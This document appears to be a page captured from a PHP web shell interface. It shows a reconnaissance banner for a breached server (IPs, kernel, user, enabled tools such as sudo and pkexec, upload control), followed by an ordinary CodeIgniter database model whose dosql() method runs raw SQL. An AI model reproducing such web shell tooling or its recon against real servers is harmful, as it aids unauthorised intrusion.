| Server IP : 103.48.194.25 / Your IP : 216.73.217.33 Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.33 System : Linux VMHostDefault 3.10.0-1160.42.2.el7.x86_64 #1 SMP Tue Sep 7 14:49:57 UTC 2021 x86_64 User : sieuthimay ( 1016) PHP Version : 8.2.20 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/hocthongminh.net-bk/public_html/webadmin/models/ |
Upload File : |
<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');
class Common extends CI_Model
{
function __construct()
{
parent::__construct();
}
function get_list_product( $num=20, $start=0)
{
//$this->db->where('Alias <>', '') ;
//$this->db->where('ProductName <>', 0) ;
$this->db->where('IsHome', 0) ;
$query = $this->db->get('auto_product_chobinhtay', $num, $start);
return $query->result() ;
}
function get_all($tbl, $num=10, $start=0)
{
$this->db->where('bl_active', 1) ;
$query = $this->db->get($tbl, $num, $start);
return $query->result() ;
}
function count_all($tbl)
{
$this->db->where('bl_active', 1) ;
$query = $this->db->get($tbl);
return $query->num_rows() ;
}
function get_id($tbl,$name,$id)
{
if($id) $this->db->where($name,$id) ;
$query = $this->db->get($tbl);
return $query->row() ;
}
function get_record($tbl, $wh=array())
{
if($wh)
{
foreach($wh as $k => $v)
{
if($v) $this->db->where($k, $v);
}
}
$query = $this->db->get($tbl);
return $query->row() ;
}
function save($tbl, $data, $name='', $id=0)
{
if($name)
{
$this->db->where($name, $id) ;
if($this->db->update($tbl, $data))
return $id ;
else return false;
}
else
{
if($this->db->insert($tbl,$data))
return $this->db->insert_id();
else return false;
}
}
function savewh($tbl, $data, $wh=array())
{
if($wh)
{
foreach($wh as $k => $v)
{
if($v) $this->db->where($k, $v);
}
if($this->db->update($tbl,$data))
return true ;
else return false;
}
else
{
if($this->db->insert($tbl,$data))
return $this->db->insert_id();
else return false;
}
}
function del($tbl, $name, $id)
{
if($id){
$this->db->where($name, $id) ;
$this->db->delete($tbl) ;
}
}
function trash($tbl, $name, $id)
{
if($id){
$this->db->where($name, $id);
return $this->db->update($tbl, array('bl_active'=>-1));
}
}
function restore($tbl, $name, $id)
{
if($id){
$this->db->where($name, $id);
return $this->db->update($tbl, array('bl_active'=>1));
}
}
function remove($tbl)
{
$date = new DateTime();
$date->modify('-3 month');
$date_del = $date->format('Y-m-d H:i:s');
$this->db->where('bl_active', -1);
$this->db->where('dt_create <', $date_del);
if($this->db->delete($tbl)){
return true;
}else{
return false;
}
}
function get_result($tbl, $wh='', $order=0, $num=20, $start=0)
{
if($wh)
{
foreach($wh as $k => $v)
{
if($v) $this->db->where($k, $v);
}
}
if(is_array($order))
{
foreach($order as $k => $v)
{
if($v) $this->db->order_by($k, $v);
}
}
$query = $this->db->get($tbl, $num, $start);
return $query->result() ;
}
function count_result($tbl, $wh='', $value=0)
{
if($wh)
{
foreach($wh as $k => $v)
{
if($v) $this->db->where($k, $v);
}
}
$query = $this->db->get($tbl);
return $query->num_rows() ;
}
public function dosql($sql)
{
$query = $this->db->query($sql);
return $query->result() ;
}
}
?>